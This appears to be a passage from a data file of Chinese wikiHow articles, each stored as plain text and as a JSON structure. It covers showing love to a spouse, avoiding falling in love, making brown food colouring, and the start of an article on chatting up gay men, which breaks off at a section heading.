不要找借口。可能你真是有什么困难，但对方听起来就是“借口”。不要把过去的 “错误”带到现在的关系中，这也是一种借口，无论借口是什么，虐待、伤害、经济危机，都不要影响现在。只要和伴侣把话说出来，任何事情都可以解决，都会过去，要把过去的留在过去，不要带到未来。无论男方女方，只要承认错误，下次改正，对方就会看到的。
3-2. 相信伴侣会认可你的努力。
爱情不是竞争：不是得到自己应该得到的，不是和伴侣“扯平”。要相信伴侣觉得自己和你在一起是非常幸运的。
不要期待得到回应，回应是很重要，但要学会不强求，就算你非常想得到也要克制。你可能要送个对方一个让她惊喜的礼物，但不知为什么她不是特别开心；你要相信她感激你为她的付出和送给她的礼物，不要在意是不是得到了肯定。
信任伴侣独处。除非是对方有过不忠的过去，否则你就要信任对方，相信他有责任心，在你不在的时候也会忠于你。如果对方出去和朋友喝酒，或是参加单身聚会，你也要信任对方。如果你真的信任对方，对方会无比感谢，以你为荣。
3-3. 明白爱情是什么。
爱不是下决心做什么，不是温暖的感受，不是聪明的表达。尽管爱对每个人的意义不同，表达方式也不一样，但爱往往需要你舍己，满足对方的需要。
想想上次伴侣让你微笑的时候。那时你好像是全世界最幸运的人，对方做了什么让你笑起来的呢？你能做点什么，也让对方开心地笑一笑吗？
为对方多做一些。现代社会把人搞得很忙；忙得团团转，让我们无暇考虑这些。你能付出一些精力让伴侣做一些需要做的事情，一些他们不愿意做的事情，或仅仅是过去想做而一直没做的事情吗？
给她的车加油；重要的工作或会议之前，把他的衬衣熨平；到厨房帮忙，享受一起度过傍晚的时间。
买个礼品券，让她和朋友一起去购物；剪草、清洁下水道、修剪树木。
小提示
请记住，服侍和爱是紧密相连的。要知道伴侣有什么需要，这就是你该做的事情，这就是你可以付出爱的地方。 一旦你开始坚持“你的方式”，或非得做“你想”做的事情，就不是爱你的伴侣了。婚姻和一段关系不是关乎你自己怎么样的事，而是两个人的事，你要首先关注对方的需要。你要关心对方，保护对方，对方的幸福是最重要的。
婚姻需要经营。要聆听对方说话，不要打断对方，不要不在乎对方说什么。聆听的意思是完全投入地听对方说话——如果你已经想好怎么回答对方了，那你就是根本不想听。
爱情中你可以犯错，这也是为什么原谅在婚姻中如此重要的原因。但人们经常把不忠和谎言当做误会。不忠是一个选择，不是误会。误会是对一些小事不够重视，忘记爱人让你做的事情不是说谎或不忠。如果你能原谅对方的错误，也会得到对方的原谅。
带伴侣去不同的地方，比如出去吃饭、看电影、野餐，或度假。不要去你和前任经常去的地方，这会你们两个都尴尬。去一些没去过的地方，学一些新的东西。学习新东西能增进你们的关系，也能更认识对方。
对男人来说，要注意到妻子每次穿的新衣服、新打扮，你要赞美她。和妻子一起购物的时候，可以给她一些推荐（按照她的喜好）。如果你不喜欢，也不要说出来。
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"回答明细": "{\"回答\": \"1. 用行动表明\\n1-1. 从小事做起。\\n小事能起大作用，只要你用心去做就好。你的妻子或丈夫其实只需要知道，你在一天结束的时候都是想着他们的。下面这些是可以不花钱或是只需要一点钱就能做到的事情：\\n晚饭后在附近散步。\\n把一个房间当做舞池，邀请对方来跳舞。\\n在自家后院野营。\\n在床上为对方朗读。（有没有搞笑的评论都行）\\n一起健身。（有些夫妻说健身之后对方特别性感）\\n安排一次浪漫的假期，好好记录细节。\\n1-2. 积少成多。\\n把平凡的小事逐渐变为有意义的大事。这需要多费点儿心思和钱财（有些并不费钱），但当对方惊讶不已或乐开了花的时候，你就会觉得太值了。\\n做一个结婚之夜的视频剪辑。\\n请亲戚们一起举办一个让对方惊奇的生日聚会。\\n庆祝你们的第一次约会、触吻，或是初夜。\\n为伴侣写歌、录歌。（认真严肃或是半开玩笑的都行）\\n写一本故事书，记录你们从开始交往到现在的故事。\\n1-3. 做一些体贴关心对方的事情。\\n为对方准备洗澡水，发个短信，洗碗，写首诗。做一些对方会感动的事情。要知道，奉献自己永远别吝啬，如果你要表达爱意，却一直拖沓，最后就会什么也不做。\\n买一些对方会特别喜欢的东西。如果他喜欢一套工具箱或是芬迪手提包，当你买给他们或买了类似的东西时，他们会高兴死的。\\n做一些能表现出自己努力的成果的事情。不一定是努力买来对方想要的东西，但创作一首诗，写下来再裱框，这种事是需要付出很多精力的。\\n很多小举动发挥着很大的作用。你想做一件大事一次性补上之前的缺欠？对不起，我要告诉你的是：在平时为对方做一些小事比花前月下的“大动作”要容易的多。你要做好这些小事，并持之以恒。\\n1-4. 花时间和对方在一起（这是最容易被忽略，但却是最能表现出爱意的方式）。\\n关上手机、电视、电脑、收音机，坐在一起享受彼此。和丈夫或妻子在一起，能给你服侍对方的机会，也就是爱对方的机会。\\n至少一个月约会一次。你们的孩子、日常的忙碌、冷漠，这些都会阻碍你们的关系发展，但你们两个至少要每月吃一次晚饭或看一场电影，好再次点燃你们的爱火。\\n有疑问就提出来。人是喜欢谈论自己的，你的配偶也不例外。用“如何”“是什么”“什么时候”这样的词来说话，而不是“是或否”。美好的沟通来自恰当的提问。你要专业一点儿。\\n知道对方真实的过去。很多夫妻过了很多年之后，才惊讶地发现对方过去的一些细节。对对方的过去感兴趣就是表明你真的在乎对方。不要说谎，实话实说，有错就认，表明你们互相信任，接受彼此的过去。\\n2. 言辞表达\\n2-1. 说出你的爱。\\n清楚地说出来就能让对方知道你多么爱他。表达你的感想就是分享你自己的方式，对方就能听到。你可以说，“你一走进来，我的心跳就加速了”，或说“我一天都在想你，每次想起你我就开心地笑了。” 有什么就说什么。\\n赞美配偶的能力和成绩。看看你有没有让对方觉得他自己很独特或是与众不同。你要多说对方的优点。如果丈夫希望自己是个知识分子，你就要肯定他的智力；如果你妻子喜欢赶时髦，就要肯定她的衣着风格。\\n要多表达感受。要勇于说出自己的感受。也要让对方说出来。聊聊那些当天发生的小事，让伴侣感到他自己进入了你的生活。\\n2-2. 说实话。\\n告诉伴侣实情是忠诚的表现，表明信任和尊重。实话不一定是正面的，也不一定有多大意义。只因为这些是真的。向伴侣表达无条件的爱，而不是无条件的接受。同时，也要愿意接受伴侣的纠正。这样能帮助你们两个成长，增进你们的关系，少一些幻想或虚假的东西。\\n别大声说话，别用沉重的词，或是用一些一般化的词，像“往往”和“经常”，这些词会增加表达的分量。\\n不要被一些文化里的说法影响，说什么爱对方就不会试图让对方变得更好。你要相信，你的另一半实际上愿意你告诉他们的实情。你们应该尽量努力彼此鼓励，提升自己，使你们的关系更好。\\n用温和的言语指出对方的缺点，提供有用的建议帮助对方。如果伴侣很敏感，就不要批评，而要赞美。这样对方就知道自己的不足之处了，不要说谎，说对方很完美，要说出对方需要改变的地方，要用积极的方式提升对方。\\n2-3. 明白伴侣喜欢什么样的“爱语”。\\n你说爱他/她的时候对方开心吗？或是你的付出让对方觉得自己是被爱着的？有人收到礼物时有被爱的感觉，有人喜欢对方充满爱意的抚摸。如果真的爱对方，就不要用你喜欢的方式表达爱意，而是要用伴侣喜欢的方式。\\n\\n：一点点身体的爱抚意味深长。男人们不太喜欢身体接触，有时一个简单的动作，像亲吻对方的脖颈，或是一个随意的拥抱就能让对方满足。这不是让对方安心，而是你要主动地表达情感。\\n：男人有时觉得身体接触不是必须的，他们觉得那样太黏糊。不是说你不能表达爱意；只是要知道对方不一定和你一样觉得这很重要。你要给伴侣时间说出他的情感，如果对方不愿意说，你也不要生气。\\n3. 通过信任对方表达爱意\\n3-1. 要知道行动往往比言语更有效。\\n别光说，也要做。如果总是说要做什么事情，但从来不做，对方会不开心。如果你说了又做不到，你的话就会开始变得乏味，伴侣会慢慢不信任你。\\n不要找借口。可能你真是有什么困难，但对方听起来就是“借口”。不要把过去的 “错误”带到现在的关系中，这也是一种借口，无论借口是什么，虐待、伤害、经济危机，都不要影响现在。只要和伴侣把话说出来，任何事情都可以解决，都会过去，要把过去的留在过去，不要带到未来。无论男方女方，只要承认错误，下次改正，对方就会看到的。\\n3-2. 相信伴侣会认可你的努力。\\n爱情不是竞争：不是得到自己应该得到的，不是和伴侣“扯平”。要相信伴侣觉得自己和你在一起是非常幸运的。\\n不要期待得到回应，回应是很重要，但要学会不强求，就算你非常想得到也要克制。你可能要送个对方一个让她惊喜的礼物，但不知为什么她不是特别开心；你要相信她感激你为她的付出和送给她的礼物，不要在意是不是得到了肯定。\\n信任伴侣独处。除非是对方有过不忠的过去，否则你就要信任对方，相信他有责任心，在你不在的时候也会忠于你。如果对方出去和朋友喝酒，或是参加单身聚会，你也要信任对方。如果你真的信任对方，对方会无比感谢，以你为荣。\\n3-3. 明白爱情是什么。\\n爱不是下决心做什么，不是温暖的感受，不是聪明的表达。尽管爱对每个人的意义不同，表达方式也不一样，但爱往往需要你舍己，满足对方的需要。\\n想想上次伴侣让你微笑的时候。那时你好像是全世界最幸运的人，对方做了什么让你笑起来的呢？你能做点什么，也让对方开心地笑一笑吗？\\n为对方多做一些。现代社会把人搞得很忙；忙得团团转，让我们无暇考虑这些。你能付出一些精力让伴侣做一些需要做的事情，一些他们不愿意做的事情，或仅仅是过去想做而一直没做的事情吗？\\n给她的车加油；重要的工作或会议之前，把他的衬衣熨平；到厨房帮忙，享受一起度过傍晚的时间。\\n买个礼品券，让她和朋友一起去购物；剪草、清洁下水道、修剪树木。\\n小提示\\n请记住，服侍和爱是紧密相连的。要知道伴侣有什么需要，这就是你该做的事情，这就是你可以付出爱的地方。 一旦你开始坚持“你的方式”，或非得做“你想”做的事情，就不是爱你的伴侣了。婚姻和一段关系不是关乎你自己怎么样的事，而是两个人的事，你要首先关注对方的需要。你要关心对方，保护对方，对方的幸福是最重要的。\\n婚姻需要经营。要聆听对方说话，不要打断对方，不要不在乎对方说什么。聆听的意思是完全投入地听对方说话——如果你已经想好怎么回答对方了，那你就是根本不想听。\\n爱情中你可以犯错，这也是为什么原谅在婚姻中如此重要的原因。但人们经常把不忠和谎言当做误会。不忠是一个选择，不是误会。误会是对一些小事不够重视，忘记爱人让你做的事情不是说谎或不忠。如果你能原谅对方的错误，也会得到对方的原谅。\\n带伴侣去不同的地方，比如出去吃饭、看电影、野餐，或度假。不要去你和前任经常去的地方，这会你们两个都尴尬。去一些没去过的地方，学一些新的东西。学习新东西能增进你们的关系，也能更认识对方。\\n对男人来说，要注意到妻子每次穿的新衣服、新打扮，你要赞美她。和妻子一起购物的时候，可以给她一些推荐（按照她的喜好）。如果你不喜欢，也不要说出来。\\n\", \"简要回答\": \"在新婚蜜月之时，夫妻之间互相表达爱意似乎很简单，也很自然。但婚后，双方就好像陷入一种都觉得对方的好是理所当然的模式中。请你不要再一天天地虚度和爱人在一起的时间了！请参考下面的方法，表达你对伴侣真心的爱意吧！\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"用行动表明\", \"步骤\": [{\"编号\": 1, \"标题\": \"从小事做起。\", \"描述\": \"小事能起大作用，只要你用心去做就好。你的妻子或丈夫其实只需要知道，你在一天结束的时候都是想着他们的。下面这些是可以不花钱或是只需要一点钱就能做到的事情：\\n晚饭后在附近散步。\\n把一个房间当做舞池，邀请对方来跳舞。\\n在自家后院野营。\\n在床上为对方朗读。（有没有搞笑的评论都行）\\n一起健身。（有些夫妻说健身之后对方特别性感）\\n安排一次浪漫的假期，好好记录细节。\"}, {\"编号\": 2, \"标题\": \"积少成多。\", \"描述\": \"把平凡的小事逐渐变为有意义的大事。这需要多费点儿心思和钱财（有些并不费钱），但当对方惊讶不已或乐开了花的时候，你就会觉得太值了。\\n做一个结婚之夜的视频剪辑。\\n请亲戚们一起举办一个让对方惊奇的生日聚会。\\n庆祝你们的第一次约会、触吻，或是初夜。\\n为伴侣写歌、录歌。（认真严肃或是半开玩笑的都行）\\n写一本故事书，记录你们从开始交往到现在的故事。\"}, {\"编号\": 3, \"标题\": \"做一些体贴关心对方的事情。\", \"描述\": \"为对方准备洗澡水，发个短信，洗碗，写首诗。做一些对方会感动的事情。要知道，奉献自己永远别吝啬，如果你要表达爱意，却一直拖沓，最后就会什么也不做。\\n买一些对方会特别喜欢的东西。如果他喜欢一套工具箱或是芬迪手提包，当你买给他们或买了类似的东西时，他们会高兴死的。\\n做一些能表现出自己努力的成果的事情。不一定是努力买来对方想要的东西，但创作一首诗，写下来再裱框，这种事是需要付出很多精力的。\\n很多小举动发挥着很大的作用。你想做一件大事一次性补上之前的缺欠？对不起，我要告诉你的是：在平时为对方做一些小事比花前月下的“大动作”要容易的多。你要做好这些小事，并持之以恒。\"}, {\"编号\": 4, \"标题\": \"花时间和对方在一起（这是最容易被忽略，但却是最能表现出爱意的方式）。\", \"描述\": \"关上手机、电视、电脑、收音机，坐在一起享受彼此。和丈夫或妻子在一起，能给你服侍对方的机会，也就是爱对方的机会。\\n至少一个月约会一次。你们的孩子、日常的忙碌、冷漠，这些都会阻碍你们的关系发展，但你们两个至少要每月吃一次晚饭或看一场电影，好再次点燃你们的爱火。\\n有疑问就提出来。人是喜欢谈论自己的，你的配偶也不例外。用“如何”“是什么”“什么时候”这样的词来说话，而不是“是或否”。美好的沟通来自恰当的提问。你要专业一点儿。\\n知道对方真实的过去。很多夫妻过了很多年之后，才惊讶地发现对方过去的一些细节。对对方的过去感兴趣就是表明你真的在乎对方。不要说谎，实话实说，有错就认，表明你们互相信任，接受彼此的过去。\"}]}, {\"编号\": 2, \"标题\": \"言辞表达\", \"步骤\": [{\"编号\": 1, \"标题\": \"说出你的爱。\", \"描述\": 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[\"请记住，服侍和爱是紧密相连的。要知道伴侣有什么需要，这就是你该做的事情，这就是你可以付出爱的地方。 一旦你开始坚持“你的方式”，或非得做“你想”做的事情，就不是爱你的伴侣了。婚姻和一段关系不是关乎你自己怎么样的事，而是两个人的事，你要首先关注对方的需要。你要关心对方，保护对方，对方的幸福是最重要的。\\n\", \"婚姻需要经营。要聆听对方说话，不要打断对方，不要不在乎对方说什么。聆听的意思是完全投入地听对方说话——如果你已经想好怎么回答对方了，那你就是根本不想听。\\n\", \"爱情中你可以犯错，这也是为什么原谅在婚姻中如此重要的原因。但人们经常把不忠和谎言当做误会。不忠是一个选择，不是误会。误会是对一些小事不够重视，忘记爱人让你做的事情不是说谎或不忠。如果你能原谅对方的错误，也会得到对方的原谅。\\n\", \"带伴侣去不同的地方，比如出去吃饭、看电影、野餐，或度假。不要去你和前任经常去的地方，这会你们两个都尴尬。去一些没去过的地方，学一些新的东西。学习新东西能增进你们的关系，也能更认识对方。\\n\", \"对男人来说，要注意到妻子每次穿的新衣服、新打扮，你要赞美她。和妻子一起购物的时候，可以给她一些推荐（按照她的喜好）。如果你不喜欢，也不要说出来。\\n\"]}]}}",
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14,752 | 如何避免坠入爱河 | 1. 步骤
1-1. 呼吸。
在和他说话或想念他时，你可能会感到非常紧张，甚至头晕目眩。此时，你要做的就是冷静下来，让不安的感觉渐渐消失。
1-2. 要意识到自己正在喜欢上他。
如果你发现自己总在刷新电子邮箱，等着他回复你的邮件，或者每次见他之前都要化妆，那么你肯定喜欢上了他。解决问题的第一步就是承认问题存在。
1-3. 给自己一点空间。
不要拼命给他发电子邮件或手机短信。试着和他保持距离。
1-4. 参加其他活动。
通过参加各种各样的活动来分散自己的注意力，以免自己总是想着他。你不妨参加以下活动：
读书。试试换种阅读口味，读读不同流派的书， 例如冒险小说或恐怖小说。不要选择爱情小说，免得自己联想起他。
培养一项爱好。根据自己的意愿，试着培养一项爱好。
去游泳！你在水中会得到安宁，还会产生一种天堂般的美妙感受。
看电影。不妨看看让你发笑的喜剧电影。
锻炼身体。对于健身爱好者来说，锻炼是不错的解药。你可以试试温和的运动。
烹饪！食物的芳香一定会转移你的注意力。
做按摩。你会觉得非常放松。
1-5. 自欺。
自欺可能有点难，但很重要。你要让自己相信：你根本不在乎他，他只不过是个普通朋友。你越是无视他，就越容易放下他。
1-6. 向朋友倾诉。
和朋友谈谈你的感受。旁观者清，朋友可能更清楚你目前的情感状态和背后的动机。而且，如果你喝醉了酒或想掉眼泪，你也可以靠在朋友的肩膀上哭一场。
1-7. 要明白一切都会过去。
每个人在很久以前都曾有过迷恋的对象，但如今这种迷恋不复存在。随着时间流逝，你对他的迷恋也会消失。
小提示
别让他主宰你的快乐……要想想在你认识他之前，生活中有哪些事情让你开心。
别把“找个伴”定为你的人生目标。你完全可以独立生活，因此，不要仅仅因为孤独就去寻找爱情。应当让爱情自然而然地发生，如果爱情没有降临，也不要紧。
别以为他也有着同样的感觉。
如果你忽然想起他，那就做些事分散自己的注意力。不妨看看书，听听音乐，等等。
试着长时间不联系他（例如几天不联系他）。
提高自己的择偶标准，把不合适的男人通通排除在外。
警告
不要浏览他在微博或脸书上发布的照片。如果你开始一边傻笑，一边萌生出“他真可爱”之类的想法，那么你就会越陷越深，每当看到他都会芳心荡漾。你应当悬崖勒马。
上床睡觉时不要想着他。如果你有好一阵子都是一个人睡觉，那么你很容易幻想有人拥你入眠。
如果他丝毫没有表现出喜欢你的样子，那么你就应该坚守自己，不要告诉他你爱他！
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14,753 | 如何自制棕色的食用色素 | 1. 调配食用色素
1-1. 找出颜色在色轮上相对的食用色素。
红和绿、橙和蓝或是黄和紫，都能调配出棕色。
你可以使用液体或凝胶状食用色素。最好用凝胶状食用色素，因为只要一点点就能调配出鲜艳明亮的色彩。
1-2. 按1:
1的比例调配颜色。比如说，每用1滴红色的食用色素，就要添加1滴绿色的。
把食用色素倒入玻璃或不锈钢碗中混匀。塑料碗容易被染色。
1-3. 调整两种颜色的比例，直到获得你想要的棕色色调。
按1：10的比例混匀红色和黄色食用色素，可以调配出黄棕色。
添加1滴蓝色食用色素，调配出深一点的棕色。
如果调配出来的食用色素呈灰色或黑色，可以添加红色或黄色。
如果红色和绿色混合而成的棕色太深，可以添加橙色和绿色来淡化它们，变成黄棕色。
加1滴黑色食用色素，可以调配出非常深的棕色。
1-4. 棕色食用色素变干后，颜色会加深。
你可能以为自己调配出了像浓咖啡那样的完美棕色，第二天却发现颜色加深到近乎黑色的程度。把颜色调配到比你想要的更浅一些，让它还有一些加深的空间。
如果要给糖霜染色，考虑提前1-2天调色，弄清楚它最后会变成的真正色调。
如果糖霜颜色不够深，可以加1滴黑色，或是倒入更多你调配好的棕色食用色素。
如果糖霜颜色太深了，那就加一点白色糖霜来淡化它。
1-5. 一次只添加一点点色素。
想要调配出鲜艳的棕色，通常需要放入大量食用色素，不过一次加太多液体很容易毁掉糖霜、橡皮泥等物品，要一点一点慢慢加。
2. 自制天然食用色素
2-1. 选择染料。
染料就是让你的色素变成棕色的有机化合物。你可以使用浓缩咖啡粉、速溶咖啡、可可粉、肉桂粉或红茶来获取棕色。
如果要调配出非常深的棕色，你可能得用到大量染料，染料的气味也会更加强烈。比如说，肉桂粉适合用来调配浅棕色。要是用来调配深棕色，肉桂的味道可能会太过于浓烈。
只用一点点食用色素，应该尝不出染料的味道。比如说莳萝籽调配出的食用色素，只用一点点来给奶油乳酪染色没有问题，不会带有莳萝的味道。
天然色素可能染不出市售色素那样鲜艳生动的色彩。石油合成的色素只需要几滴，就能获得想要的颜色。如果使用天然色素，必须加很多才能获得相同的色彩。加太多色素又会毁掉你要做的东西，味道可能变得很奇怪，或是变得太稀，无法成型和使用。
2-2. 将染料泡在水中，制成液体色素。
每1杯水添加1杯咖啡、半杯可可粉、10个红茶茶包或是4汤匙香料。
将混合好的水和染色剂烧开。
慢慢烧开或用小火煨煮15-30分钟。
让混合液冷却至室温。
用超细滤网过滤混合液，滤出没有溶解的颗粒。将混合液倒入不会被染色的玻璃或不锈钢碗。
2-3. 用咖啡或香料研磨机磨碎染料，制作粉状色素。
粉状色素一定要磨得非常细。如果像速溶咖啡颗粒那样粗，要继续磨到呈粉末状。
粉状色素比较浓缩，只加一点点，就能获得很深的棕色。记住，加太多色素会改变成品的味道。
2-4. 一次只加一点点色素。
液体色素倒太多会毁掉要染色物体的质地和结构，尤其是糖霜。用太多液体或粉状色素，也会影响成品的味道，所以加色素的时候，要不时尝尝味道。
天然色素可能无法染出你想要的生动浓郁的色彩。味道和质地比完美的色调更重要。
小提示
使用或调配色素时，一定要穿上围裙，以免将衣服染色。
将速溶咖啡颗粒或茶叶磨碎时，可以添加1茶匙制作糖霜所用的糖粉、淀粉或其它粉。这能帮助将染料磨得更细，又不会过度影响味道。
| {
"create_time": "20230517 11:02:20",
"回答明细": "{\"回答\": \"1. 调配食用色素\\n1-1. 找出颜色在色轮上相对的食用色素。\\n红和绿、橙和蓝或是黄和紫，都能调配出棕色。\\n你可以使用液体或凝胶状食用色素。最好用凝胶状食用色素，因为只要一点点就能调配出鲜艳明亮的色彩。\\n1-2. 按1:\\n1的比例调配颜色。比如说，每用1滴红色的食用色素，就要添加1滴绿色的。\\n把食用色素倒入玻璃或不锈钢碗中混匀。塑料碗容易被染色。\\n1-3. 调整两种颜色的比例，直到获得你想要的棕色色调。\\n按1：10的比例混匀红色和黄色食用色素，可以调配出黄棕色。\\n添加1滴蓝色食用色素，调配出深一点的棕色。\\n如果调配出来的食用色素呈灰色或黑色，可以添加红色或黄色。\\n如果红色和绿色混合而成的棕色太深，可以添加橙色和绿色来淡化它们，变成黄棕色。\\n加1滴黑色食用色素，可以调配出非常深的棕色。\\n1-4. 棕色食用色素变干后，颜色会加深。\\n你可能以为自己调配出了像浓咖啡那样的完美棕色，第二天却发现颜色加深到近乎黑色的程度。把颜色调配到比你想要的更浅一些，让它还有一些加深的空间。\\n如果要给糖霜染色，考虑提前1-2天调色，弄清楚它最后会变成的真正色调。\\n如果糖霜颜色不够深，可以加1滴黑色，或是倒入更多你调配好的棕色食用色素。\\n如果糖霜颜色太深了，那就加一点白色糖霜来淡化它。\\n1-5. 一次只添加一点点色素。\\n想要调配出鲜艳的棕色，通常需要放入大量食用色素，不过一次加太多液体很容易毁掉糖霜、橡皮泥等物品，要一点一点慢慢加。\\n2. 自制天然食用色素\\n2-1. 选择染料。\\n染料就是让你的色素变成棕色的有机化合物。你可以使用浓缩咖啡粉、速溶咖啡、可可粉、肉桂粉或红茶来获取棕色。\\n如果要调配出非常深的棕色，你可能得用到大量染料，染料的气味也会更加强烈。比如说，肉桂粉适合用来调配浅棕色。要是用来调配深棕色，肉桂的味道可能会太过于浓烈。\\n只用一点点食用色素，应该尝不出染料的味道。比如说莳萝籽调配出的食用色素，只用一点点来给奶油乳酪染色没有问题，不会带有莳萝的味道。\\n天然色素可能染不出市售色素那样鲜艳生动的色彩。石油合成的色素只需要几滴，就能获得想要的颜色。如果使用天然色素，必须加很多才能获得相同的色彩。加太多色素又会毁掉你要做的东西，味道可能变得很奇怪，或是变得太稀，无法成型和使用。\\n2-2. 将染料泡在水中，制成液体色素。\\n每1杯水添加1杯咖啡、半杯可可粉、10个红茶茶包或是4汤匙香料。\\n将混合好的水和染色剂烧开。\\n慢慢烧开或用小火煨煮15-30分钟。\\n让混合液冷却至室温。\\n用超细滤网过滤混合液，滤出没有溶解的颗粒。将混合液倒入不会被染色的玻璃或不锈钢碗。\\n2-3. 用咖啡或香料研磨机磨碎染料，制作粉状色素。\\n粉状色素一定要磨得非常细。如果像速溶咖啡颗粒那样粗，要继续磨到呈粉末状。\\n粉状色素比较浓缩，只加一点点，就能获得很深的棕色。记住，加太多色素会改变成品的味道。\\n2-4. 一次只加一点点色素。\\n液体色素倒太多会毁掉要染色物体的质地和结构，尤其是糖霜。用太多液体或粉状色素，也会影响成品的味道，所以加色素的时候，要不时尝尝味道。\\n天然色素可能无法染出你想要的生动浓郁的色彩。味道和质地比完美的色调更重要。\\n小提示\\n使用或调配色素时，一定要穿上围裙，以免将衣服染色。\\n将速溶咖啡颗粒或茶叶磨碎时，可以添加1茶匙制作糖霜所用的糖粉、淀粉或其它粉。这能帮助将染料磨得更细，又不会过度影响味道。\\n\", \"简要回答\": \"手边没有棕色的食用色素，或者不想使用市售产品？别担心，你可以自己动手调配。继续往下阅读，了解如何用其它颜色调配出完美的棕色，或是用可可粉、咖啡粉等常见食材调配出带有香味的天然棕色。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"调配食用色素\", \"步骤\": [{\"编号\": 1, \"标题\": \"找出颜色在色轮上相对的食用色素。\", \"描述\": \"红和绿、橙和蓝或是黄和紫，都能调配出棕色。\\n你可以使用液体或凝胶状食用色素。最好用凝胶状食用色素，因为只要一点点就能调配出鲜艳明亮的色彩。\"}, {\"编号\": 2, \"标题\": \"按1:\", \"描述\": \"1的比例调配颜色。比如说，每用1滴红色的食用色素，就要添加1滴绿色的。\\n把食用色素倒入玻璃或不锈钢碗中混匀。塑料碗容易被染色。\"}, {\"编号\": 3, \"标题\": \"调整两种颜色的比例，直到获得你想要的棕色色调。\", \"描述\": \"按1：10的比例混匀红色和黄色食用色素，可以调配出黄棕色。\\n添加1滴蓝色食用色素，调配出深一点的棕色。\\n如果调配出来的食用色素呈灰色或黑色，可以添加红色或黄色。\\n如果红色和绿色混合而成的棕色太深，可以添加橙色和绿色来淡化它们，变成黄棕色。\\n加1滴黑色食用色素，可以调配出非常深的棕色。\"}, {\"编号\": 4, \"标题\": \"棕色食用色素变干后，颜色会加深。\", \"描述\": \"你可能以为自己调配出了像浓咖啡那样的完美棕色，第二天却发现颜色加深到近乎黑色的程度。把颜色调配到比你想要的更浅一些，让它还有一些加深的空间。\\n如果要给糖霜染色，考虑提前1-2天调色，弄清楚它最后会变成的真正色调。\\n如果糖霜颜色不够深，可以加1滴黑色，或是倒入更多你调配好的棕色食用色素。\\n如果糖霜颜色太深了，那就加一点白色糖霜来淡化它。\"}, {\"编号\": 5, \"标题\": \"一次只添加一点点色素。\", \"描述\": \"想要调配出鲜艳的棕色，通常需要放入大量食用色素，不过一次加太多液体很容易毁掉糖霜、橡皮泥等物品，要一点一点慢慢加。\"}]}, {\"编号\": 2, \"标题\": \"自制天然食用色素\", \"步骤\": [{\"编号\": 1, \"标题\": \"选择染料。\", \"描述\": \"染料就是让你的色素变成棕色的有机化合物。你可以使用浓缩咖啡粉、速溶咖啡、可可粉、肉桂粉或红茶来获取棕色。\\n如果要调配出非常深的棕色，你可能得用到大量染料，染料的气味也会更加强烈。比如说，肉桂粉适合用来调配浅棕色。要是用来调配深棕色，肉桂的味道可能会太过于浓烈。\\n只用一点点食用色素，应该尝不出染料的味道。比如说莳萝籽调配出的食用色素，只用一点点来给奶油乳酪染色没有问题，不会带有莳萝的味道。\\n天然色素可能染不出市售色素那样鲜艳生动的色彩。石油合成的色素只需要几滴，就能获得想要的颜色。如果使用天然色素，必须加很多才能获得相同的色彩。加太多色素又会毁掉你要做的东西，味道可能变得很奇怪，或是变得太稀，无法成型和使用。\"}, {\"编号\": 2, \"标题\": \"将染料泡在水中，制成液体色素。\", \"描述\": \"每1杯水添加1杯咖啡、半杯可可粉、10个红茶茶包或是4汤匙香料。\\n将混合好的水和染色剂烧开。\\n慢慢烧开或用小火煨煮15-30分钟。\\n让混合液冷却至室温。\\n用超细滤网过滤混合液，滤出没有溶解的颗粒。将混合液倒入不会被染色的玻璃或不锈钢碗。\"}, {\"编号\": 3, \"标题\": \"用咖啡或香料研磨机磨碎染料，制作粉状色素。\", \"描述\": \"粉状色素一定要磨得非常细。如果像速溶咖啡颗粒那样粗，要继续磨到呈粉末状。\\n粉状色素比较浓缩，只加一点点，就能获得很深的棕色。记住，加太多色素会改变成品的味道。\"}, {\"编号\": 4, \"标题\": \"一次只加一点点色素。\", \"描述\": \"液体色素倒太多会毁掉要染色物体的质地和结构，尤其是糖霜。用太多液体或粉状色素，也会影响成品的味道，所以加色素的时候，要不时尝尝味道。\\n天然色素可能无法染出你想要的生动浓郁的色彩。味道和质地比完美的色调更重要。\"}], \"小提示\": [\"使用或调配色素时，一定要穿上围裙，以免将衣服染色。\\n\", \"将速溶咖啡颗粒或茶叶磨碎时，可以添加1茶匙制作糖霜所用的糖粉、淀粉或其它粉。这能帮助将染料磨得更细，又不会过度影响味道。\\n\"]}]}}",
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} | wikihow |
14,754 | 如何钓男同性恋 | 1. 采取行动
1-1. 接近你感兴趣的男孩。
接近“一群”男孩。要开始挑选同性恋的游戏，你必须得走出去见到那些男孩。此刻看来或许很困难，但你要去同性恋聚集之处并接近他们。当你这么做过几次之后，会渐渐摸清一些窍门，找出哪些对你有帮助，而哪些是没有用处的！
1-2. 表现友好。
丢掉你的傲慢态度以及优越感，要牢记：无论你认为自己多么漂亮或英俊，大多数男孩们在寻乐之时，他们的愿望清单中不会有“混蛋”这一选项。
1-3. 不要犹豫。
信心永远都是最大的杀手锏。犹豫传达了难以决断和紧张不安——这些特征使你没法走得很远。练习3秒钟法则：在看到他的3秒内接近你的目标，或者是选择另一个目标。
开始说话！如果你不能开启话题，你就没有机会选择并引诱你所感兴趣的目标——虽然很容易。一个简单的“你好”便是极好的开场白。
1-4. 掌握一些方法。
方法指的是一个理由——“任何理由”——通过这个理由开始与别人的对话：“从这里我怎么去凯悦酒店？”，“你的衣领上粘了许多绒毛。”，“我发现了一些关于你的事情……”。当然，所有这些方法中最简单的就是看着他们的眼睛微笑，然后对他们说“你好！”
忽视那些搭讪台词：“我想融化在你的嘴里，而不是在你的手上”，“当跌下天堂时你疼不疼？”这些都是老生常谈，陈词滥调，传达了太多的性欲望，这会让你一无所获而独自回家。
1-5. 游戏开场。
你们已经交流了几个单词。下面将要发生的极为重要。你要把握主动权，使你自己在对方心中从一个随意应付几句的陌生人，变成一个他想对你关注的人。
标准的对话手法会将你的朋友吸引进来。试着说一些令人惊讶的事情：“停车场上着火的那辆汽车不是你的，对吧？”“你有没有看见外面两个家伙在掐架？”
给出看法：“嗨，我能问你一个问题吗？如何做才可以忘记前任？我认识的这个男孩……”
通过在开场话中添加一些生动的细节（一个如此虎背熊腰的消防员……）使得游戏继续下去。让你的新朋友参与进来并使其保持兴趣。
有时候给开始者一个时间限制会很有利，这样他会认为你在不久就会离开（我得去找我的朋友，但是……）。
2. 继续谈话
2-1. 学会“不感兴趣”的状态。
